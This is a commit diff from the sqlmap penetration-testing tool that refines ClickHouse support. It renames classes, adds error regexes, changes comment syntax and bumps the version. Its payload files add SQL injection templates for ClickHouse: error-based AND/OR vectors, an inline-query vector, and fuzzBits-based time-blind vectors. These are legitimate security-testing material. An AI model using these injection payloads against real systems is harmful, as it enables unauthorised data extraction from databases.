Skip to content

Commit 30ba167

Browse files
stamparmstamparm
committed
Some more fixes related to ClickHouse support (#5229)
1 parent d7180d3 commit 30ba167

File tree

8 files changed

+62
-25
lines changed

8 files changed

+62
-25
lines changed

‎data/xml/errors.xml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -211,8 +211,9 @@
211211
<error regexp="Syntax error,[^\n]+assumed to mean"/>
212212
</dbms>
213213

214-
<dbms value="Clickhouse">
215-
<error regexp="DB::Exception: Syntax error:"/>
214+
<dbms value="ClickHouse">
215+
<error regexp="Code: \d+. DB::Exception:"/>
216+
<error regexp="Syntax error: failed at position \d+"/>
216217
</dbms>
217218

218219
<dbms value="CrateDB">

‎data/xml/payloads/error_based.xml

Lines changed: 25 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -838,7 +838,7 @@
838838
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
839839
<stype>2</stype>
840840
<level>4</level>
841-
<risk>1</risk>
841+
<risk>3</risk>
842842
<clause>1</clause>
843843
<where>1</where>
844844
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
@@ -853,23 +853,41 @@
853853
</details>
854854
</test>
855855

856-
857856
<test>
858-
<title>Clickhouse AND error-based - Parameter replace</title>
857+
<title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
859858
<stype>2</stype>
860-
<level>2</level>
859+
<level>3</level>
861860
<risk>1</risk>
862861
<clause>1,2,3,9</clause>
863862
<where>1</where>
864-
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)</vector>
863+
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
864+
<request>
865+
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
866+
</request>
867+
<response>
868+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
869+
</response>
870+
<details>
871+
<dbms>ClickHouse</dbms>
872+
</details>
873+
</test>
874+
875+
<test>
876+
<title>ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
877+
<stype>2</stype>
878+
<level>4</level>
879+
<risk>3</risk>
880+
<clause>1,2,3,9</clause>
881+
<where>1</where>
882+
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
865883
<request>
866-
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)</payload>
884+
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
867885
</request>
868886
<response>
869887
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
870888
</response>
871889
<details>
872-
<dbms>Clickhouse</dbms>
890+
<dbms>ClickHouse</dbms>
873891
</details>
874892
</test>
875893

‎data/xml/payloads/inline_query.xml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -135,21 +135,21 @@
135135
</test>
136136

137137
<test>
138-
<title>Clickhouse inline queries</title>
138+
<title>ClickHouse inline queries</title>
139139
<stype>3</stype>
140-
<level>2</level>
140+
<level>3</level>
141141
<risk>1</risk>
142142
<clause>1,2,3,8</clause>
143143
<where>3</where>
144-
<vector>(SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]')</vector>
144+
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
145145
<request>
146-
<payload>(SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]')</payload>
146+
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
147147
</request>
148148
<response>
149149
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
150150
</response>
151151
<details>
152-
<dbms>Clickhouse</dbms>
152+
<dbms>ClickHouse</dbms>
153153
</details>
154154
</test>
155155

‎data/xml/payloads/time_blind.xml

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1494,14 +1494,32 @@
14941494
</details>
14951495
</test>
14961496

1497-
14981497
<test>
1499-
<title>Clickhouse AND time-based blind (heavy query) - fuzzBits</title>
1498+
<title>ClickHouse AND time-based blind (heavy query)</title>
15001499
<stype>5</stype>
1501-
<level>3</level>
1500+
<level>4</level>
15021501
<risk>1</risk>
15031502
<clause>1,2,3</clause>
15041503
<where>1</where>
1504+
<vector>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
1505+
<request>
1506+
<payload>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
1507+
</request>
1508+
<response>
1509+
<time>[DELAYED]</time>
1510+
</response>
1511+
<details>
1512+
<dbms>ClickHouse</dbms>
1513+
</details>
1514+
</test>
1515+
1516+
<test>
1517+
<title>ClickHouse OR time-based blind (heavy query)</title>
1518+
<stype>5</stype>
1519+
<level>5</level>
1520+
<risk>3</risk>
1521+
<clause>1,2,3</clause>
1522+
<where>1</where>
15051523
<vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
15061524
<request>
15071525
<payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
@@ -1510,7 +1528,7 @@
15101528
<time>[DELAYED]</time>
15111529
</response>
15121530
<details>
1513-
<dbms>Clickhouse</dbms>
1531+
<dbms>ClickHouse</dbms>
15141532
</details>
15151533
</test>
15161534

‎data/xml/queries.xml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1319,7 +1319,7 @@
13191319
</search_column>
13201320
</dbms>
13211321

1322-
<dbms value="Clickhouse">
1322+
<dbms value="ClickHouse">
13231323
<cast query="CAST(%s AS String)"/>
13241324
<length query="length(%s)"/>
13251325
<isnull query="ifNull(%s, '')"/>
@@ -1331,7 +1331,7 @@
13311331
<limitstring query=" LIMIT "/>
13321332
<order query="ORDER BY %s ASC"/>
13331333
<count query="COUNT(%s)"/>
1334-
<comment query="--" query2="/*"/>
1334+
<comment query="--" query2="//"/>
13351335
<substring query="substring(%s,%d,%d)"/>
13361336
<concatenate query="%s||%s"/>
13371337
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>

‎lib/controller/handler.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,8 @@
4747
from plugins.dbms.altibase import AltibaseMap
4848
from plugins.dbms.cache.connector import Connector as CacheConn
4949
from plugins.dbms.cache import CacheMap
50-
from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn
51-
from plugins.dbms.clickhouse import ClickhouseMap
50+
from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn
51+
from plugins.dbms.clickhouse import ClickHouseMap
5252
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
5353
from plugins.dbms.cratedb import CrateDBMap
5454
from plugins.dbms.cubrid.connector import Connector as CubridConn
@@ -125,7 +125,7 @@ def setHandler():
125125
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
126126
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
127127
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
128-
(DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn),
128+
(DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn),
129129
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
130130
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
131131
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),

‎lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty.six import unichr as _unichr
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.7.2.2"
23+
VERSION = "1.7.2.3"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎plugins/dbms/clickhouse/__init__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
from plugins.dbms.clickhouse.takeover import Takeover
1717
from plugins.generic.misc import Miscellaneous
1818

19-
class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
19+
class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
2020
"""
2121
This class defines ClickHouse methods
2222
"""

0 commit comments

Comments
 (0)